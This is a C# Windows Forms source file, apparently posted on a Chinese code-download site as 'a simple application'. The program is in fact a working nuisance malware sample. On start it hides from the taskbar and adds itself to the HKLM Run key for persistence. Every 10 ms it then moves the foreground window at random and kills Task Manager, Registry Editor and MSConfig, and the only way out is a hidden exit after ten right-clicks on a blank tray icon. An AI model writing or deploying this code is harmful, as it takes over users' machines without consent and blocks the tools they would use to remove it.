⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 frmmain.cs

📁 一个简单的应用程序
💻 CS
字号:
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.IO;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
using Microsoft.Win32;



namespace WindowsApplication2
{
	/// <summary>
	/// Form1 的摘要说明。
	/// </summary>
	public class Form1 : System.Windows.Forms.Form
	{
		private System.Windows.Forms.Timer timer1;
		private System.ComponentModel.IContainer components;
		bool flag=false;
		Random ram;
		int x=100,y=100;
		private System.Windows.Forms.ToolTip toolTip;
		private System.Windows.Forms.NotifyIcon notifyIcon;
	
		[DllImport("user32.dll")]   
		public   static   extern   bool   SetWindowPos(   
			IntPtr   hWnd,                           //   handle   to   window   
			int   hWndInsertAfter,     //   placement-order   handle   
			int   X,                                       //   horizontal   position   
			int   Y,                                       //   vertical   position   
			int   cx,                                     //   width   
			int   cy,                                     //   height   
			uint   uFlags                             //   window-positioning   options   
			);
		[DllImport("user32.dll",CharSet=CharSet.Auto)]   
		private   static   extern   IntPtr   GetForegroundWindow();   

		public Form1()
		{
			//
			// Windows 窗体设计器支持所必需的
			//
			InitializeComponent();

			//
			// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
			//
		}

		/// <summary>
		/// 清理所有正在使用的资源。
		/// </summary>
		protected override void Dispose( bool disposing )
		{
			if( disposing )
			{
				if (components != null) 
				{
					components.Dispose();
				}
			}
			base.Dispose( disposing );
		}

		#region Windows 窗体设计器生成的代码
		/// <summary>
		/// 设计器支持所需的方法 - 不要使用代码编辑器修改
		/// 此方法的内容。
		/// </summary>
		private void InitializeComponent()
		{
			this.components = new System.ComponentModel.Container();
			System.Resources.ResourceManager resources = new System.Resources.ResourceManager(typeof(Form1));
			this.timer1 = new System.Windows.Forms.Timer(this.components);
			this.notifyIcon = new System.Windows.Forms.NotifyIcon(this.components);
			this.toolTip = new System.Windows.Forms.ToolTip(this.components);
			// 
			// timer1
			// 
			this.timer1.Interval = 10;
			this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
			// 
			// notifyIcon
			// 
			this.notifyIcon.Icon = ((System.Drawing.Icon)(resources.GetObject("notifyIcon.Icon")));
			this.notifyIcon.Text = "";
			this.notifyIcon.Visible = true;
			this.notifyIcon.MouseDown += new System.Windows.Forms.MouseEventHandler(this.notifyIcon_MouseDown);
			// 
			// Form1
			// 
			this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
			this.ClientSize = new System.Drawing.Size(292, 266);
			this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
			this.Location = new System.Drawing.Point(500, 500);
			this.Name = "Form1";
			this.Text = "Test";
			this.SizeChanged += new System.EventHandler(this.Form1_SizeChanged);
			this.Load += new System.EventHandler(this.Form1_Load);

		}
		#endregion

		/// <summary>
		/// 应用程序的主入口点。
		/// </summary>
		[STAThread]
		static void Main() 
		{
			Application.Run(new Form1());
		}

		private void button1_Click(object sender, System.EventArgs e)
		{
			
		}

		private void Form1_Load(object sender, System.EventArgs e)
		{
			//MessageBox.Show("DCQ制作...");
			timer1.Start();			
			this.Visible=false;
			this.ShowInTaskbar=false;
			this.RunWhenStart(true,"Test",Application.ExecutablePath.ToString());
			
			  
			   
		}
		
		private  void RunWhenStart(bool Started, string name, string path)
		{
			RegistryKey HKLM = Registry.LocalMachine;
			RegistryKey Run = HKLM.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
			if (Started == true)
			{
				try
				{
					Run.SetValue(name, path);
					HKLM.Close();
				}
				catch (Exception Err)
				{
					MessageBox.Show(Err.Message.ToString(), "提示", MessageBoxButtons.OK, MessageBoxIcon.Error);
				}
			}
			else
			{
				try
				{
					Run.DeleteValue(name);
					HKLM.Close();
				}
				catch (Exception)
				{
					//
				}
			}
		}
		
		private void timer1_Tick(object sender, System.EventArgs e)
		{

			if(!flag)
			{
				ram=new Random(DateTime.Now.Millisecond);
				IntPtr  ptr   =   GetForegroundWindow();  
			
			
				int tmp=new Random(ram.Next(100)).Next(5);
				if(x==0)
					x=100;
				if(y==0)
					y=100;
				if(x==600)
					x=100;
				if(y==800)
					y=100;

				switch (tmp)
				{
		
					case 1:
						x=x+5;
						y=y-5;
						break;
					case 5:
						x=x+5;
						y=y+5;
						break;
					case 2:
						x=x-5;
						y=y-5;
						break;
					case 3:
						x=x+5;
						y=y+5;
						break;
					case 4:
						x=x-5;
						y=y+5;
						break;

				}
			
				SetWindowPos(ptr,0,x,y,400,400,0x01);
				this.KillProcess("taskmgr");
				this.KillProcess("regedit");
				this.KillProcess("MSConfig");
				this.Update();
			}
			else
			{
				Application.Exit();
			}
		
		}

		

		private void notifyIcon_DoubleClick(object sender, System.EventArgs e)
		{
			this.Visible = true;
            this.WindowState = FormWindowState.Normal;
			Application.Exit();

		}

		private void Form1_SizeChanged(object sender, System.EventArgs e)
		{
		
		}


//		SetWindowPos( list[i], 0, r.left + dx, r.top  + dy, 0, 0,
//		SWP_NOZORDER | SWP_NOSIZE | SWP_NOACTIVATE |
//		SWP_NOREDRAW | SWP_DEFERERASE );
	

		private   void   KillProcess(string name)   
		{   
			System.Diagnostics.Process   myproc=   new   System.Diagnostics.Process();   
			//得到所有打开的进程   
			try   
			{   
				foreach   (Process   thisproc   in   Process.GetProcessesByName(name))     
				{   
					//name为你要关闭的程序在进程列表中的名字 
					//MessageBox.Show(thisproc.ProcessName);
					thisproc.Kill();     
				}   
			}   
			catch   
			{   
				//MessageBox.Show("关闭当前进程失败");   
			}   
		}

		private void notifyIcon_Click(object sender, System.EventArgs e)
		{
			//if(e.)
		}
		int i=1;
		private void notifyIcon_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e)
		{
			
			if(e.Button==MouseButtons.Right)
			i++;
			if(i%10==0)
				this.flag=true;
		}

		


	}
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -